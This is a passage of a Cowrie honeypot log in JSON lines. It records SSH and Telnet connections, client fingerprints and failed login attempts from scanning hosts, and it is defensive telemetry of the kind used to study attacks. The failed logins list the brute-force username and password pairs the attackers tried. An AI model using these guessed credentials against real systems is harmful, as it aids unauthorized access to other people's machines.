{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":51032,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab9d22eb365e","protocol":"telnet","message":"New connection: 64.227.82.147:51032 (159.203.135.109:23) [session: ab9d22eb365e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:09.621742Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54452,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bc3680135c6","protocol":"ssh","message":"New connection: 176.65.132.129:54452 (10.17.0.5:22) [session: 8bc3680135c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:09.834011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:09.839168Z","src_ip":"176.65.132.129","session":"8bc3680135c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:09.921095Z","src_ip":"176.65.132.129","session":"8bc3680135c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:10.177308Z","src_ip":"176.65.132.129","session":"8bc3680135c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":34448,"dst_ip":"159.203.135.109","dst_port":22,"session":"67be138563b6","protocol":"ssh","message":"New connection: 94.156.152.18:34448 (159.203.135.109:22) [session: 67be138563b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:11.184272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:11.189858Z","src_ip":"94.156.152.18","session":"67be138563b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:11.281962Z","src_ip":"176.65.132.129","session":"8bc3680135c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:11.327118Z","src_ip":"94.156.152.18","session":"67be138563b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ4VCPU8GBAMD","message":"login attempt [root/XYZZ4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:11.863358Z","src_ip":"94.156.152.18","session":"67be138563b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:12.995893Z","src_ip":"94.156.152.18","session":"67be138563b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":32958,"dst_ip":"10.17.0.5","dst_port":23,"session":"58a019e5a486","protocol":"telnet","message":"New connection: 38.54.119.93:32958 (10.17.0.5:23) [session: 58a019e5a486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:13.178419Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54468,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7075395cedf","protocol":"ssh","message":"New connection: 176.65.132.129:54468 (10.17.0.5:22) [session: c7075395cedf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:13.241356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:13.247480Z","src_ip":"176.65.132.129","session":"c7075395cedf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:13.399718Z","src_ip":"176.65.132.129","session":"c7075395cedf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:13.822960Z","src_ip":"176.65.132.129","session":"c7075395cedf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.8.165","src_port":33530,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a3e26432719","protocol":"ssh","message":"New connection: 95.215.8.165:33530 (10.17.0.5:22) [session: 5a3e26432719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:14.347989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:14.358969Z","src_ip":"95.215.8.165","session":"5a3e26432719","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:14.434614Z","src_ip":"95.215.8.165","session":"5a3e26432719","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"12345678","message":"login attempt [vncuser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:14.793796Z","src_ip":"95.215.8.165","session":"5a3e26432719","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:14.910111Z","src_ip":"176.65.132.129","session":"c7075395cedf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.83570957183838,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:15.610879Z","src_ip":"192.211.53.160","session":"ef60b84f2f39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:15.877504Z","src_ip":"95.215.8.165","session":"5a3e26432719","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50954,"dst_ip":"10.17.0.5","dst_port":22,"session":"cadf28f439a4","protocol":"ssh","message":"New connection: 176.65.132.129:50954 (10.17.0.5:22) [session: cadf28f439a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:16.867169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:16.879549Z","src_ip":"176.65.132.129","session":"cadf28f439a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:16.967867Z","src_ip":"176.65.132.129","session":"cadf28f439a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:17.230600Z","src_ip":"176.65.132.129","session":"cadf28f439a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:18.458477Z","src_ip":"176.65.132.129","session":"cadf28f439a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50956,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b9dea84bc34","protocol":"ssh","message":"New connection: 176.65.132.129:50956 (10.17.0.5:22) [session: 3b9dea84bc34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:20.271093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:20.279624Z","src_ip":"176.65.132.129","session":"3b9dea84bc34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:20.362895Z","src_ip":"176.65.132.129","session":"3b9dea84bc34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.2615227699279785,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:20.439803Z","src_ip":"38.54.119.93","session":"58a019e5a486","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:20.717886Z","src_ip":"176.65.132.129","session":"3b9dea84bc34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:21.803557Z","src_ip":"176.65.132.129","session":"3b9dea84bc34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50960,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d30c1cc8e4f","protocol":"ssh","message":"New connection: 176.65.132.129:50960 (10.17.0.5:22) [session: 5d30c1cc8e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:23.931161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:23.936946Z","src_ip":"176.65.132.129","session":"5d30c1cc8e4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:24.021513Z","src_ip":"176.65.132.129","session":"5d30c1cc8e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345678","message":"login attempt [postgres/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:24.275244Z","src_ip":"176.65.132.129","session":"5d30c1cc8e4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37028,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad8a91faa2a3","protocol":"telnet","message":"New connection: 38.60.198.128:37028 (159.203.135.109:23) [session: ad8a91faa2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:24.708320Z"}
{"eventid":"cowrie.session.closed","duration":15.608338594436646,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:25.229967Z","src_ip":"64.227.82.147","session":"ab9d22eb365e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:25.525774Z","src_ip":"176.65.132.129","session":"5d30c1cc8e4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41410,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f65796e470c","protocol":"telnet","message":"New connection: 38.54.119.93:41410 (10.17.0.5:23) [session: 6f65796e470c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:26.388244Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39588,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a4171a824d4","protocol":"telnet","message":"New connection: 38.60.198.128:39588 (159.203.135.109:23) [session: 8a4171a824d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:26.800705Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60218,"dst_ip":"10.17.0.5","dst_port":22,"session":"e323fa07a233","protocol":"ssh","message":"New connection: 176.65.132.129:60218 (10.17.0.5:22) [session: e323fa07a233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:27.366395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:27.372316Z","src_ip":"176.65.132.129","session":"e323fa07a233","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@open